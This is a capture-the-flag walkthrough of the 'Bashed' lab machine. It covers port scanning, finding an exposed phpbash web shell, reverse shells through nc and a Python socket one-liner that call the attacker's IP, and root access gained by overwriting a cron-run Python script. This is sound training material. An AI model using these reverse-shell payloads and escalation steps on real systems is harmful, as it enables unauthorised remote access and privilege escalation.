Bashed Writeup

Reconnaissance:

First thing first, we run a quick initial nmap scan to see which ports are open and which services are running on those ports.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.68 
-sC: run default nmap scripts
-sV: detect service version
-O: detect OS

We get back the following result showing that port 80 is open with Apache HTTP Server running on it.

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

Before we start investigating port 80, let’s run more comprehensive nmap scans in the background to make sure we cover all bases.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -O -p1–65535 10.10.10.68 

Similarly, we run an nmap scan with the -sU flag enabled to run a UDP scan.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.68

We get back the following result. As can be seen, the top 1000 ports are closed. Our only avenue of attack is port 80, so let’s check it out.

Enumeration:

The arrow on the first page leads us to http://10.10.10.68/single.html

There, you can find a link to a GitHub repository explaining that this is a script used to create a semi-interactive web shell. Interesting! If we find the phpbash.php file, we can potentially get a web shell!

Let’s do more enumeration on the web server. Run gobuster to enumerate directories.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.68
-t: number of threads
-w: wordlist
-u: specify the URL
dir: uses directory/file brute forcing mode

The directories /images, /uploads, /php and /css lead us nowhere. So let’s move on to the /dev directory. We found the phpbash.php script and clicking on it gives us a web shell!

Foothold:

What exactly does this shell do and in what context does it run?

whoami: print effective userid
id: print real and effective user and group IDs
uname -a: print system information

We’re running in the context of an Apache default user www-data. For this machine, we already have a low privileged shell that allows us to run linux commands on the web server, so we don’t necessarily need to get our own reverse shell. However, in a real penetration test, you would place your own shell in the system just in case the creator notices his insecure configuration and takes down the php script. This way you’ll have consistent access to the system by a shell that you control.

Since we’re modelling a real penetration test, let’s get a reverse shell going. In the attack machine (kali) set up a listener.

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 4444

In the target machine (bashed) send a reverse shell to the attack machine.

nc -nv 10.10.16.6 4444 -e /bin/sh

Unfortunately, the connection keeps terminating. Let’s try sending a reverse shell in a different way.

pentestmonkey has a comprehensive list of reverse shells. Check if python exists on the target machine.

which python

Since we get back a result, python is installed on the machine! Copy the python command from the list and change it to your attack machine’s ip address and listening port.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Yes! We have a reverse shell going.

Let’s find the user flag. Change to the home directory and view its contents.

cd /home 
ls -la

I have execute privileges on both arrexel and scriptmanager directories. Let’s look in the arrexel directory first.

cd arrexel
ls -la
cat user.txt 

Privilege Escalation:

Next, I need to figure out what other privileges I have or can easily get. The following command lists the allowed commands for my user.

www-data@bashed:/home# sudo -l

User www-data may run the following commands on bashed:

(scriptmanager : scriptmanager) NOPASSWD: ALL

The last two lines are particularly interesting because they say that the user I’m running in the context of (www-data) can run as the user scriptmanager without having to provide the user’s password. This might come in handy later on.

For the time being, let’s do some more enumeration.

$ cd /
$ ls -la

Everything in the root directory seems to be owned by root except for the scripts directory which is owned by scriptmanager. In the previous step we found out that we can run as scriptmanager without a password.

$ sudo -u scriptmanager bash -i

The above command changes the user to scriptmanager.

id 
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)

Now that we’re running in the context of scriptmanager, we have read/write/execute privileges in the scripts directory.

cd /
cd scripts
ls -la

drwxrwxr--  2 scriptmanager scriptmanager 4096 Jun  2  2022 .
drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Dec  7 15:39 test.txt

We have two files; one owned by us (test.py) and the other owned by root (test.txt). Let’s print out the content of test.py.

cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

Interesting! It’s a simple python program that writes to the file test.txt. However, we saw in the previous image that test.txt is running as root! Running the python program also seems to be something that is scheduled since the last access time of the test.txt file is very recent. In fact, the script seems to be executing every minute! It’s probably a cron job that is owned by root.

Why is that great news for us? If I change the contents in the test.py file to send a reverse shell, that reverse shell will run as root!

Changing the file on the shell was unbelievably difficult and glitchy. Therefore, I decided to transfer the file from my attack (kali) machine.

In the kali machine, create a test.py file and add the reverse shell code to it.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.8\",2560));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"

Change the file permission to rwx for everyone.

┌──(kali㉿kali)-[~/Desktop]
└─$ chmod 777 exploit.py

In the same directory, start a simple HTTP server.

┌──(kali㉿kali)-[~/Desktop]
└─$ python -m SimpleHTTPServer 9005

In the target (bashed) machine under the scripts directory, download the file.

wget http://10.10.14.8:9005/exploit.py

OR

echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.8\",2560));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);" > exploit.py

Now, go back to your attack (kali) vm and start up a listener with the same port specified in the test.py script.

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 2560

Wait for a minute or so for the cron job to execute and voila! We have a shell running as root!

Change to the root directory and get the root flag.

cd /root
cat rott.txt

Last updated